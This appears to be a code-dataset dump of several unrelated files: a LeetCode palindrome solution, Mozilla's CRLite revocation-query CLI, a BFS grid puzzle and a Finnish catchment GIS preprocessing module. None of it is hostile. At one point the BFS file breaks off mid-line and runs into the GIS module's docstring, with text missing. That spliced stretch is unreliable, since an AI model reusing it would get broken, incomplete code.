False\n","repo_name":"elastra21/ffa-controller","sub_path":"keyboard.py","file_name":"keyboard.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20829680856","text":"# https://leetcode.com/problems/palindrome-permutation/\n# TC:O(N)\n# SC:O(N)\n\nclass Solution:\n def canPermutePalindrome(self, s: str) -> bool:\n if not s:\n return False\n \n n=len(s)\n hash_map=dict()\n count=0\n \n for ch in s:\n hash_map[ch]=hash_map.get(ch,0)+1\n \n for k,v in hash_map.items():\n count = count + (v%2)\n \n return count<=1\n \n \n \n","repo_name":"akshatakulkarni98/ProblemSolving","sub_path":"DataStructures/strings/can_permute_palindrome.py","file_name":"can_permute_palindrome.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41263746856","text":"import argparse\nimport logging\nimport requests\nimport sys\n\nfrom crlite_query import CRLiteDB, CRLiteQuery, IntermediatesDB, parse_hosts_file\nfrom datetime import datetime, timedelta\nfrom pathlib import Path\nfrom urllib.parse import urlparse\n\nlog = logging.getLogger(\"query_cli\")\n\n\ncrlite_collection_prod = (\n \"https://firefox.settings.services.mozilla.com/v1/buckets/security-state\"\n + \"/collections/cert-revocations/records\"\n)\ncrlite_collection_stage = (\n \"https://settings.stage.mozaws.net/v1/buckets/security-state\"\n + \"/collections/cert-revocations/records\"\n)\nintermediates_collection_prod = (\n \"https://firefox.settings.services.mozilla.com/v1/buckets/security-state\"\n + \"/collections/intermediates/records\"\n)\n\n\ndef find_attachments_base_url(urlstring):\n url = urlparse(urlstring)\n base_rsp = requests.get(f\"{url.scheme}://{url.netloc}/v1/\")\n return base_rsp.json()[\"capabilities\"][\"attachments\"][\"base_url\"]\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description=\"Query CRLite data\",\n epilog=\"\"\"\n The --db option should point to a folder containing a single filter file of\n the form \"YYYYMMDDnn.filter\" along with a collection of files of the form\n \"YYYYMMDDnn.stash\" which contain updates from that original filter. By\n default, if this tool believes it is out-of-date based on the local\n database, it will attempt to update itself before performing its checks.\n To avoid that behavior, pass --no-update on the command line.\n \"\"\",\n )\n parser.add_argument(\n \"--hosts\",\n help=\"Hosts to check, in the form host[:port] where \"\n + \"port is assumed 443 if not provided. Can be specified multiple times.\",\n action=\"append\",\n nargs=\"+\",\n default=[],\n metavar=\"host[:port]\",\n )\n parser.add_argument(\n \"--hosts-file\",\n help=\"File of hosts to check, in the form of 'host[:port]' each line, \"\n + \"where port is assumed 443 if not provided. Can be specified multiple \"\n + \" times.\",\n action=\"append\",\n default=[],\n type=Path,\n )\n parser.add_argument(\n \"files\", help=\"PEM files to load\", type=argparse.FileType(\"r\"), nargs=\"*\"\n )\n parser.add_argument(\n \"--db\",\n type=Path,\n default=Path(\"~/.crlite_db\"),\n help=\"Path to CRLite database folder\",\n )\n parser.add_argument(\n \"--no-update\", help=\"Do not attempt to update the database\", action=\"store_true\"\n )\n group = parser.add_mutually_exclusive_group()\n group.add_argument(\n \"--force-update\", help=\"Force an update to the database\", action=\"store_true\"\n )\n group.add_argument(\n \"--use-filter\",\n help=\"Use this specific filter file, ignoring the database\",\n type=Path,\n )\n parser.add_argument(\n \"--check-freshness\",\n help=\"Set exit code 0 if the database is more than this many hours old\",\n type=int,\n )\n parser.add_argument(\n \"--check-not-revoked\",\n help=\"Set exit code 0 if none of the supplied certificates are revoked\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"--no-delete\",\n help=\"Do not attempt to delete old database files\",\n action=\"store_true\",\n )\n group = parser.add_mutually_exclusive_group()\n group.add_argument(\n \"--crlite-url\",\n default=crlite_collection_prod,\n help=\"URL to the CRLite records at Remote Settings.\",\n )\n group.add_argument(\n \"--crlite-staging\",\n action=\"store_true\",\n help=\"Use the staging URL for CRLite\",\n )\n parser.add_argument(\n \"--intermediates-url\",\n default=intermediates_collection_prod,\n help=\"URL to the CRLite records at Remote Settings.\",\n )\n parser.add_argument(\n \"--download-intermediates\",\n action=\"store_true\",\n help=\"Download all intermediate PEM files to the database\",\n )\n parser.add_argument(\n \"--verbose\", \"-v\", help=\"Be more verbose\", action=\"count\", default=0\n )\n parser.add_argument(\n \"--structured\",\n help=\"Emit log entries intended for structured loggers\",\n action=\"store_true\",\n )\n\n args = parser.parse_args()\n\n if args.crlite_staging:\n args.crlite_url = crlite_collection_stage\n\n if args.verbose > 1:\n logging.basicConfig(level=logging.DEBUG)\n if args.verbose > 2:\n from pyasn1 import debug\n\n debug.setLogger(debug.Debug(\"all\"))\n else:\n logging.basicConfig(level=logging.INFO)\n\n db_dir = args.db.expanduser()\n\n if not db_dir.is_dir():\n db_dir.expanduser().mkdir()\n\n last_updated_file = (db_dir / \".last_updated\").expanduser()\n if last_updated_file.exists() and not args.force_update:\n updated_file_timestamp = datetime.fromtimestamp(\n last_updated_file.stat().st_mtime\n )\n grace_time = datetime.now() - timedelta(hours=6)\n if last_updated_file.is_file() and updated_file_timestamp > grace_time:\n log.info(f\"Database was updated at {updated_file_timestamp}, skipping.\")\n log.debug(\n f\"Database was last updated {datetime.now() - updated_file_timestamp} ago.\"\n )\n args.no_update = True\n\n attachments_base_url = find_attachments_base_url(args.crlite_url)\n\n intermediates_db = IntermediatesDB(\n db_path=db_dir, download_pems=args.download_intermediates\n )\n crlite_db = CRLiteDB(db_path=args.db)\n\n try:\n if args.force_update or not args.no_update:\n if args.download_intermediates:\n log.info(\n \"Downloading all intermediate certificates. Look in \"\n + f\"{intermediates_db.intermediates_path}\"\n )\n\n intermediates_db.update(\n collection_url=args.intermediates_url,\n attachments_base_url=attachments_base_url,\n )\n crlite_db.update(\n collection_url=args.crlite_url,\n attachments_base_url=attachments_base_url,\n )\n last_updated_file.touch()\n except KeyboardInterrupt:\n log.warning(\"Interrupted.\")\n sys.exit(1)\n\n if args.use_filter:\n crlite_db.load_filter(path=args.use_filter)\n\n if not args.no_delete:\n crlite_db.cleanup()\n\n log.info(f\"Status: {intermediates_db}, {crlite_db}\")\n\n if args.check_freshness:\n freshness_limit = timedelta(hours=args.check_freshness)\n if crlite_db.age() > freshness_limit:\n log.error(\n f\"Database age is {crlite_db.age()}, which is larger than {freshness_limit}, \"\n + \"aborting!\"\n )\n sys.exit(1)\n\n query = CRLiteQuery(intermediates_db=intermediates_db, crlite_db=crlite_db)\n\n if not args.files and not args.hosts and not args.hosts_file:\n log.info(\"No PEM files or hosts specified to load. Run with --help for usage.\")\n\n to_test = list()\n\n for file in args.files:\n to_test.append((file.name, query.gen_from_pem(file)))\n\n host_strings = []\n for host_list in args.hosts:\n host_strings.extend(host_list)\n\n for path in args.hosts_file:\n with path.open(\"r\") as fd:\n host_strings.extend(parse_hosts_file(fd))\n\n for host_str in host_strings:\n parts = host_str.split(\":\")\n hostname = parts[0]\n port = 443\n if len(parts) > 1:\n port = int(parts[1])\n to_test.append((f\"{hostname}:{port}\", query.gen_from_host(hostname, port)))\n\n failures = list()\n\n for (name, generator) in to_test:\n for result in query.query(name=name, generator=generator):\n if args.structured:\n result.log_query_result()\n else:\n result.print_query_result(verbose=args.verbose)\n\n if args.check_not_revoked and result.is_revoked():\n failures.append(result)\n\n if failures:\n log.error(f\"{len(failures)} failures logged:\")\n for result in failures:\n log.error(result)\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"leplatrem/moz_crlite_query","sub_path":"crlite_query/query_cli.py","file_name":"query_cli.py","file_ext":"py","file_size_in_byte":8185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"21480201032","text":"import sys\nfrom collections import deque\ninput=sys.stdin.readline\n# 1시간 이상\n# bfs(x좌표,y좌표,지나온 흔적(str))\nh,w=map(int,input().split())\ngrid=[list(map(str,input().rstrip())) for _ in range(h)]\ndisc=[[0]*w for _ in range(h)]\ns_x,s_y,l_x,l_y=0,0,0,0\ntrans={}\ntrans['W']=[-1,0];trans['S']=[1,0];trans['A']=[0,-1];trans['D']=[0,1]\ndirection={}\ndirection[(-1,0)]='W';direction[(1,0)]='S';direction[(0,-1)]='A';direction[(0,1)]='D'\nfor i in range(h):\n for j in range(w):\n if grid[i][j]=='D':\n s_x,s_y=i,j\n if grid[i][j]=='Z':\n l_x,l_y=i,j\n\norder={}\nn=int(input())\nfor i in range(n):\n l=input().split()\n order[i+1]=[]\n for c in l:\n order[i+1].append(trans[c])\n\nans=[]\nq=deque()\nq.append([s_x,s_y,\"\"])\ntime=0\nwhile q:\n time+=1\n for _ in range(len(q)):\n a,b,ans=q.popleft()\n if a==l_x and b==l_y:\n print('YES')\n print(ans)\n sys.exit()\n if time>n:continue\n for x,y in order[time]:\n sam=ans[:]\n aa,bb=a+x,b+y\n if 0<=aa32766 ovat vesialueita ja ei-metsäalueita (tiet, sähkölinjat, puuttomat suot) käytä muita maskeja (maastotietokanta, kysy\n Auralta tie + sähkölinjamaskit) ja IMPOSE LAI ja muut muuttujat ko. alueille. Nyt menevät no-data -luokkaan eikä oteta mukaan laskentaan.\n \"\"\"\n # fpath = os.path.join(fpath, str(ID) + '\\\\sve_' + str(ID) + '_')\n fpath = os.path.join(fpath, str(ID))\n bname = 'sve_' + str(ID) + '_'\n print(fpath) \n # specific leaf area (m2/kg) for converting leaf mass to leaf area \n # SLA = {'pine': 5.54, 'spruce': 5.65, 'decid': 18.46} # m2/kg, Kellomäki et al. 2001 Atm. Env.\n SLA = {'pine': 6.8, 'spruce': 4.7, 'decid': 14.0} # Härkönen et al. 2015 BER 20, 181-195\n \n # values to be set for 'open peatlands' and 'not forest land'\n nofor = {'vol': 0.1, 'ba': 0.01, 'height': 0.1, 'cf': 0.01, 'age': 0.0, \n 'LAIpine': 0.01, 'LAIspruce': 0.01, 'LAIdecid': 0.01, 'bmroot': 0.01}\n opeatl = {'vol': 0.01, 'ba': 0.01, 'height': 0.1, 'cf': 0.1, 'age': 0.0,\n 'LAIpine': 0.01, 'LAIspruce': 0.01, 'LAIdecid': 0.1, 'bmroot': 0.01}\n\n # dem, set values outside boundaries to NaN\n dem, info, pos, cellsize, nodata = read_AsciiGrid(os.path.join(fpath, bname + 'dem_16m_aggr.asc'))\n # latitude, longitude arrays \n nrows, ncols = np.shape(dem)\n lon0 = np.arange(pos[0], pos[0] + cellsize*ncols, cellsize)\n lat0 = np.arange(pos[1], pos[1] + cellsize*nrows, cellsize)\n lat0 = np.flipud(lat0) # why this is needed to get coordinates correct when plotting?\n\n # catchment mask cmask ==1, np.NaN outside\n cmask = dem.copy()\n cmask[np.isfinite(cmask)] = 1.0\n\n # flowacc, D-infinity, nr of draining cells\n flowacc, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'Flow_accum_D-Inf_grids.asc'))\n flowacc = flowacc*cellsize**2 # in m2\n # slope, degrees\n slope, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'slope_16m.asc'))\n # twi\n twi, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'TWI_16m.asc'))\n \n \"\"\"\n Create soiltype grid and masks for waterbodies, streams, peatlands and rocks\n \"\"\"\n # Maastotietokanta water bodies: 1=waterbody\n stream, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'vesielementit_mtk.asc'))\n stream[np.isfinite(stream)] = 1.0\n # maastotietokanta peatlandmask\n peatm, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'suo_mtk.asc'))\n peatm[np.isfinite(peatm)] = 1.0\n # maastotietokanta kalliomaski\n rockm, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'kallioalue_mtk.asc'))\n rockm[np.isfinite(rockm)] = 1.0\n \n \"\"\"\n gtk soilmap: read and re-classify into 4 texture classes\n #GTK-pintamaalaji grouped to 4 classes (Samuli Launiainen, Jan 7, 2017)\n #Codes based on maalaji 1:20 000 AND ADD HERE ALSO 1:200 000\n \"\"\"\n CoarseTextured = [195213, 195314, 19531421, 195313, 195310]\n MediumTextured = [195315, 19531521, 195215, 195214, 195601, 195411, 195112,\n 195311, 195113, 195111, 195210, 195110, 195312]\n FineTextured = [19531521, 195412, 19541221, 195511, 195413, 195410,\n 19541321, 195618]\n Peats = [195512, 195513, 195514, 19551822, 19551891, 19551892]\n Water = [195603]\n\n gtk_s, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'soil.asc')) \n \n r, c = np.shape(gtk_s)\n soil = np.ravel(gtk_s)\n #del gtk_s\n\n soil[np.in1d(soil, CoarseTextured)] = 1.0 # ; soil[f]=1; del f\n soil[np.in1d(soil, MediumTextured)] = 2.0\n soil[np.in1d(soil, FineTextured)] = 3.0\n soil[np.in1d(soil, Peats)] = 4.0\n soil[np.in1d(soil, Water)] = -1.0\n\n # reshape back to original grid\n soil = soil.reshape(r, c)\n del r, c\n soil[np.isfinite(peatm)] = 4.0\n # update waterbody mask\n ix = np.where(soil == -1.0)\n stream[ix] = 1.0\n \n # update catchment mask so that water bodies are left out (SL 20.2.18)\n #cmask[soil == -1.0] = np.NaN\n cmask[soil <= 0] = np.NaN\n soil = soil * cmask\n \n \"\"\" stand data (MNFI)\"\"\"\n # stand volume [m3ha-1]\n vol, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'tilavuus.asc'), setnans=False)\n vol = vol*cmask\n # indexes for cells not recognized in mNFI\n ix_n = np.where((vol >= 32727) | (vol == -9999) ) # no satellite cover or not forest land: assign arbitrary values \n ix_p = np.where((vol >= 32727) & (peatm == 1)) # open peatlands: assign arbitrary values\n ix_w = np.where((vol >= 32727) & (stream == 1)) # waterbodies: leave out\n cmask[ix_w] = np.NaN # NOTE: leaves waterbodies out of catchment mask\n vol[ix_n] = nofor['vol']\n vol[ix_p] = opeatl['vol']\n vol[ix_w] = np.NaN\n\n # basal area [m2 ha-1]\n ba, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'ppa.asc') )\n ba[ix_n] = nofor['ba']\n ba[ix_p] = opeatl['ba']\n ba[ix_w] = np.NaN\n\n # tree height [m]\n height, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'keskipituus.asc'))\n height = 0.1*height # m\n height[ix_n] = nofor['height']\n height[ix_p] = opeatl['height']\n height[ix_w] = np.NaN\n\n # canopy closure [-] \n cf, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'latvuspeitto.asc'))\n cf = 1e-2*cf\n cf[ix_n] = nofor['cf']\n cf[ix_p] = opeatl['cf']\n cf[ix_w] = np.NaN\n # cfd, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'lehtip_latvuspeitto.asc'))\n # cfd = 1e-2*cfd # percent to fraction\n\n # stand age [yrs]\n age, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname+'ika.asc'))\n age[ix_n] = nofor['age']\n age[ix_p] = opeatl['age']\n age[ix_w] = np.NaN\n\n # leaf biomasses and one-sided LAI\n bmleaf_pine, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'bm_manty_neulaset.asc'))\n bmleaf_spruce, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'bm_kuusi_neulaset.asc'))\n bmleaf_decid, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'bm_lehtip_neulaset.asc'))\n # bmleaf_pine[ix_n]=np.NaN; bmleaf_spruce[ix_n]=np.NaN; bmleaf_decid[ix_n]=np.NaN;\n\n LAI_pine = 1e-3*bmleaf_pine*SLA['pine'] # 1e-3 converts 10kg/ha to kg/m2\n LAI_pine[ix_n] = nofor['LAIpine']\n LAI_pine[ix_p] = opeatl['LAIpine']\n LAI_pine[ix_w] = np.NaN\n\n LAI_spruce = 1e-3*bmleaf_spruce*SLA['spruce']\n LAI_spruce[ix_n] = nofor['LAIspruce']\n LAI_spruce[ix_p] = opeatl['LAIspruce']\n LAI_spruce[ix_w] = np.NaN\n\n LAI_decid = 1e-3*bmleaf_decid*SLA['decid']\n LAI_decid[ix_n] = nofor['LAIdecid']\n LAI_decid[ix_p] = opeatl['LAIdecid']\n LAI_decid[ix_w] = np.NaN\n\n bmroot_pine, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'bm_manty_juuret.asc'))\n bmroot_spruce, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'bm_kuusi_juuret.asc'))\n bmroot_decid, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'bm_lehtip_juuret.asc')) \n bmroot = 1e-2*(bmroot_pine + bmroot_spruce + bmroot_decid) # 1000 kg/ha\n bmroot[ix_n] = nofor['bmroot']\n bmroot[ix_p] = opeatl['bmroot']\n bmroot[ix_w] = np.NaN\n\n # site types\n maintype, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'paatyyppi.asc'))\n maintype = maintype*cmask\n sitetype, _, _, _, _ = read_AsciiGrid(os.path.join(fpath, bname + 'kasvupaikka.asc'))\n sitetype = sitetype*cmask\n \n # catchment outlet location and catchment mean elevation\n (iy, ix) = np.where(flowacc == np.nanmax(flowacc))\n loc = {'lat': lat0[iy], 'lon': lon0[ix], 'elev': np.nanmean(dem)}\n\n # dict of all rasters\n GisData = {'cmask': cmask, 'dem': dem, 'flowacc': flowacc, 'slope': slope,\n 'twi': twi, 'gtk_soilcode': gtk_s, 'soilclass': soil, 'peatm': peatm, 'stream': stream,\n 'rockm': rockm, 'LAI_pine': LAI_pine, 'LAI_spruce': LAI_spruce,\n 'LAI_conif': LAI_pine + LAI_spruce,\n 'LAI_decid': LAI_decid, 'bmroot': bmroot, 'ba': ba, 'hc': height,\n 'vol': vol, 'cf': cf, 'age': age, 'maintype': maintype, 'sitetype': sitetype,\n 'cellsize': cellsize, 'info': info, 'lat0': lat0, 'lon0': lon0, 'loc': loc} \n\n if plotgrids is True:\n # %matplotlib qt\n # xx, yy = np.meshgrid(lon0, lat0)\n plt.close('all')\n\n plt.figure()\n\n plt.subplot(221)\n plt.imshow(dem); plt.colorbar(); plt.title('DEM (m)')\n plt.plot(ix, iy,'rs')\n plt.subplot(222)\n plt.imshow(twi); plt.colorbar(); plt.title('TWI')\n plt.subplot(223)\n plt.imshow(slope); plt.colorbar(); plt.title('slope(deg)')\n plt.subplot(224)\n plt.imshow(flowacc); plt.colorbar(); plt.title('flowacc (m2)')\n\n plt.figure(figsize=(6, 14))\n\n plt.subplot(221)\n plt.imshow(soil); plt.colorbar(); plt.title('soiltype')\n mask = cmask.copy()*0.0\n mask[np.isfinite(peatm)] = 1\n mask[np.isfinite(rockm)] = 2\n mask[np.isfinite(stream)] = 3\n\n plt.subplot(222)\n plt.imshow(mask); plt.colorbar(); plt.title('masks')\n plt.subplot(223)\n plt.imshow(LAI_pine+LAI_spruce + LAI_decid); plt.colorbar(); plt.title('LAI (m2/m2)')\n plt.subplot(224)\n plt.imshow(cf); plt.colorbar(); plt.title('cf (-)')\n\n \n plt.figure(figsize=(6,11))\n plt.subplot(321)\n plt.imshow(vol); plt.colorbar(); plt.title('vol (m3/ha)')\n plt.subplot(323)\n plt.imshow(height); plt.colorbar(); plt.title('hc (m)')\n #plt.subplot(223)\n #plt.imshow(ba); plt.colorbar(); plt.title('ba (m2/ha)')\n plt.subplot(325)\n plt.imshow(age); plt.colorbar(); plt.title('age (yr)')\n plt.subplot(322)\n plt.imshow(1e-3*bmleaf_pine); plt.colorbar(); plt.title('pine needles (kg/m2)')\n plt.subplot(324)\n plt.imshow(1e-3*bmleaf_spruce); plt.colorbar(); plt.title('spruce needles (kg/m2)')\n plt.subplot(326)\n plt.imshow(1e-3*bmleaf_decid); plt.colorbar(); plt.title('decid. leaves (kg/m2)')\n\n if plotdistr is True:\n twi0 = twi[np.isfinite(twi)]\n vol = vol[np.isfinite(vol)]\n lai = LAI_pine + LAI_spruce + LAI_decid\n lai = lai[np.isfinite(lai)]\n soil0 = soil[np.isfinite(soil)]\n \n plt.figure(100)\n plt.subplot(221)\n plt.hist(twi0, bins=100, color='b', alpha=0.5, normed=True)\n plt.ylabel('f');plt.ylabel('twi')\n\n s = np.unique(soil0)\n colcode = 'rgcym'\n for k in range(0,len(s)):\n print(k)\n a = twi[np.where(soil==s[k])]\n a = a[np.isfinite(a)]\n plt.hist(a, bins=50, alpha=0.5, color=colcode[k], normed=True, label='soil ' +str(s[k]))\n plt.legend()\n plt.show()\n\n plt.subplot(222)\n plt.hist(vol, bins=100, color='k', normed=True); plt.ylabel('f'); plt.ylabel('vol')\n plt.subplot(223)\n plt.hist(lai, bins=100, color='g', normed=True); plt.ylabel('f'); plt.ylabel('lai')\n plt.subplot(224)\n plt.hist(soil0, bins=5, color='r', normed=True); plt.ylabel('f');plt.ylabel('soiltype')\n\n return GisData\n\ndef preprocess_soildata(pbu, psoil, soiltype, cmask, spatial=True):\n \"\"\"\n creates input dictionary for initializing BucketGrid\n Args:\n bbu - bucket parameters dict\n psoil - soiltype dict\n soiltype - soiltype code classified into 5 groups\n cmask - catchment mask\n \"\"\"\n # create dict for initializing soil bucket.\n # copy pbu into sdata and make each value np.array(np.shape(cmask))\n data = pbu.copy()\n data.update((x, y*cmask) for x, y in data.items())\n\n if spatial:\n for key in psoil.keys():\n c = psoil[key]['soil_id']\n ix = np.where(soiltype == c)\n data['poros'][ix] = psoil[key]['poros']\n data['fc'][ix] = psoil[key]['fc']\n data['wp'][ix] = psoil[key]['wp']\n data['ksat'][ix] = psoil[key]['ksat']\n data['beta'][ix] = psoil[key]['beta']\n del ix\n\n data['soilcode'] = soiltype\n return data\n \n\n\"\"\" ************ Reading and writing Ascii -grids ********* \"\"\" \n \ndef read_AsciiGrid(fname, setnans=True):\n \n \"\"\" reads AsciiGrid format in fixed format as below:\n \n ncols 750\n nrows 375\n xllcorner 350000\n yllcorner 6696000\n cellsize 16\n NODATA_value -9999\n -9999 -9999 -9999 -9999 -9999\n -9999 4.694741 5.537514 4.551162\n -9999 4.759177 5.588773 4.767114\n IN:\n fname - filename (incl. path)\n OUT:\n data - 2D numpy array\n info - 6 first lines as list of strings\n (xloc,yloc) - lower left corner coordinates (tuple)\n cellsize - cellsize (in meters?)\n nodata - value of nodata in 'data'\n Samuli Launiainen Luke 7.9.2016\n \"\"\"\n import numpy as np\n print(fname)\n fid = open(fname, 'r')\n info = fid.readlines()[0:6]\n fid.close()\n\n # print info\n # conversion to float is needed for non-integers read from file...\n xloc = float(info[2].split(' ')[-1])\n yloc = float(info[3].split(' ')[-1])\n cellsize = float(info[4].split(' ')[-1])\n nodata = float(info[5].split(' ')[-1])\n\n # read rest to 2D numpy array\n data = np.loadtxt(fname, skiprows=6)\n\n if setnans is True:\n data[data == nodata] = np.NaN\n nodata = np.NaN\n return data, info, (xloc, yloc), cellsize, nodata\n\n\ndef write_AsciiGrid(fname, data, info, fmt='%.18e'):\n \"\"\" writes AsciiGrid format txt file\n IN:\n fname - filename\n data - data (numpy array)\n info - info-rows (list, 6rows)\n fmt - output formulation coding\n \n Samuli Launiainen Luke 7.9.2016\n \"\"\"\n import numpy as np\n\n # replace nans with nodatavalue according to info\n nodata = int(info[-1].split(' ')[-1])\n data[np.isnan(data)] = nodata\n # write info\n fid = open(fname, 'w')\n fid.writelines(info)\n fid.close()\n\n # write data\n fid = open(fname, 'a')\n np.savetxt(fid, data, fmt=fmt, delimiter=' ')\n fid.close()\n\n\"\"\" ********* Flatten 2d array with nans to dense 1d array ********** \"\"\"\n\n\ndef matrix_to_array(x, nodata=None):\n \"\"\" returns 1d array and their indices in original 2d array\"\"\"\n\n s = np.shape(x)\n if nodata is None: # Nan\n ix = np.where(np.isfinite(x))\n else:\n ix = np.where(x != nodata)\n y = x[ix].copy()\n return y, ix, s\n\n\ndef array_to_matrix(y, ix, s, nodata=None):\n \"\"\"returns 1d array reshaped into 2d array x of shape s\"\"\"\n if nodata is None:\n x = np.ones(s)*np.NaN\n else:\n x = np.ones(s)*nodata\n x[ix] = y\n\n return x\n\n\ndef inputs_netCDF(ID, fname, data):\n \"\"\"\n Store gridded data required by SpaFHy into netCDF \n IN:\n ID -catchment id as str\n fname - filename\n data - dict with keys:\n cmask - catchment mask; integers within np.Nan outside\n LAI_conif [m2m-2]\n LAI_decid [m2m-2]\n hc, canopy closure [m]\n fc, canopy closure fraction [-]\n soil, soil type integer code 1-5\n flowacc - flow accumulation [units]\n slope - local surface slope [units]\n \n cellsize - gridcell size\n lon0 - x-grid\n lat0 - y-grid\n OUT:\n ncf - netCDF file handle. Initializes data\n ff - netCDF filename incl. path\n LAST EDIT 05.10.2018 / Samuli\n \"\"\"\n\n from netCDF4 import Dataset #, date2num, num2date\n from datetime import datetime\n\n print('**** creating SpaFHy input netCDF4 file: ' + fname + ' ****')\n \n # create dataset & dimensions\n ncf = Dataset(fname, 'w')\n ncf.description = 'SpatialData from : ' + str(ID)\n ncf.history = 'created ' + datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n ncf.source = 'SpaFHy v.1.0 inputs'\n \n dlat, dlon = np.shape(data['cmask'])\n\n ncf.createDimension('dlon', int(dlon))\n ncf.createDimension('dlat', int(dlat))\n ncf.createDimension('scalar', 1)\n\n # create variables \n # call as createVariable(varname,type,(dimensions))\n cellsize = ncf.createVariable('cellsize', 'f4', ('scalar',))\n cellsize.units = 'm'\n lat = ncf.createVariable('lat', 'f4', ('dlat',))\n lat.units = 'ETRS-TM35FIN'\n lon = ncf.createVariable('lon', 'f4', ('dlon',))\n lon.units = 'ETRS-TM35FIN'\n\n cellsize[0] = data['cellsize']\n lon[:] = data['lon0']\n lat[:] = data['lat0']\n \n # required inputs\n cmask = ncf.createVariable('cmask', 'i4', ('dlat','dlon',))\n cmask.units = 'integer inside catchment, Nan outside'\n LAI_conif = ncf.createVariable('LAI_conif', 'f4', ('dlat','dlon',))\n LAI_conif.units = 'conifer LAI (m2m-2)'\n LAI_decid = ncf.createVariable('LAI_decid', 'f4', ('dlat','dlon',))\n LAI_decid.units = 'deciduous annual max LAI (m2m-2)' \n hc = ncf.createVariable('hc', 'f4', ('dlat','dlon',))\n hc.units = 'canopy height m' \n cf = ncf.createVariable('cf', 'f4', ('dlat','dlon',))\n cf.units = 'canopy closure (-)' \n \n soilclass = ncf.createVariable('soilclass', 'i4', ('dlat','dlon',))\n soilclass.units = 'soil class (1 - 5)'\n \n flowacc = ncf.createVariable('flowacc', 'f4', ('dlat','dlon',))\n flowacc.units = 'flow accumualtion area m2'\n slope = ncf.createVariable('slope', 'f4', ('dlat','dlon',))\n slope.units = 'local slope (deg)' \n \n for k in ['LAI_conif', 'LAI_decid', 'hc', 'cf', 'soilclass', 'flowacc', 'slope']:\n ncf[k][:,:] = data[k]\n \n print('**** done ****')\n\n\n# specific for MEOLO-sites\n\"\"\" ****************** creates gisdata dictionary from Vihti-koealue ************************ \"\"\"\n\ndef create_vihti_catchment(ID='Vihti', fpath='c:\\\\projects\\\\fotetraf\\\\spathy\\\\data', plotgrids=False, plotdistr=False):\n \"\"\" \n reads gis-data grids from selected catchments and returns numpy 2d-arrays\n IN: \n ID - SVE catchment ID (int or str)\n fpath - folder (str)\n plotgrids - True plots\n OUT:\n GisData - dictionary with 2d numpy arrays and some vectors/scalars.\n\n keys [units]:'dem'[m],'slope'[deg],'soil'[coding 1-4], 'cf'[-],'flowacc'[m2], 'twi'[log m??],\n 'vol'[m3/ha],'ba'[m2/ha], 'age'[yrs], 'hc'[m], 'bmroot'[1000kg/ha],'LAI_pine'[m2/m2 one-sided],'LAI_spruce','LAI_decid',\n 'info','lat0'[latitude, euref_fin],'lon0'[longitude, euref_fin],loc[outlet coords,euref_fin],'cellsize'[cellwidth,m],\n 'peatm','stream','cmask','rockm'[masks, 1=True] \n \n TODO (6.2.2017 Samuli): \n mVMI-datan koodit >32766 ovat vesialueita ja ei-metsäalueita (tiet, sähkölinjat, puuttomat suot) käytä muita maskeja (maastotietokanta, kysy\n Auralta tie + sähkölinjamaskit) ja IMPOSE LAI ja muut muuttujat ko. alueille. Nyt menevät no-data -luokkaan eikä oteta mukaan laskentaan.\n \"\"\"\n #from iotools import read_AsciiGrid\n\n fpath=os.path.join(fpath,str(ID)+'_')\n \n #specific leaf area (m2/kg) for converting leaf mass to leaf area \n # SLA={'pine':5.54, 'spruce': 5.65, 'decid': 18.46} #m2/kg, Kellomäki et al. 2001 Atm. Env.\n SLA = {'pine': 6.8, 'spruce': 4.7, 'decid': 14.0} # Härkönen et al. 2015 BER 20, 181-195\n\n #values to be set for 'open peatlands' and 'not forest land'\n nofor={'vol':0.1, 'ba':0.01, 'height':0.1, 'cf': 0.01, 'age': 0.0, 'LAIpine': 0.01, 'LAIspruce':0.01, 'LAIdecid': 0.01, 'bmroot':0.01}\n opeatl={'vol':0.01, 'ba':0.01, 'height':0.1, 'cf': 0.1, 'age': 0.0, 'LAIpine': 0.01, 'LAIspruce':0.01, 'LAIdecid': 0.01, 'bmroot':0.01}\n \n #dem, set values outside boundaries to NaN \n dem, info, pos, cellsize, nodata = read_AsciiGrid(fpath+'dem_16m.asc')\n #latitude, longitude arrays \n nrows, ncols=np.shape(dem) \n lon0=np.arange(pos[0], pos[0]+cellsize*ncols,cellsize)\n lat0=np.arange(pos[1], pos[1]+cellsize*nrows,cellsize)\n lat0=np.flipud(lat0) #why this is needed to get coordinates correct when plotting?\n\n #catchment mask cmask ==1, np.NaN outside\n cmask=dem.copy(); cmask[np.isfinite(cmask)]=1.0\n \n #flowacc, D-infinity, nr of draining cells\n flowacc, _, _, _, _ = read_AsciiGrid(fpath +'flowaccum_16m.asc')\n conv = np.nanmin(flowacc) # to correct units in file\n flowacc = flowacc / conv *cellsize**2 #in m2\n #slope, degrees\n slope, _, _, 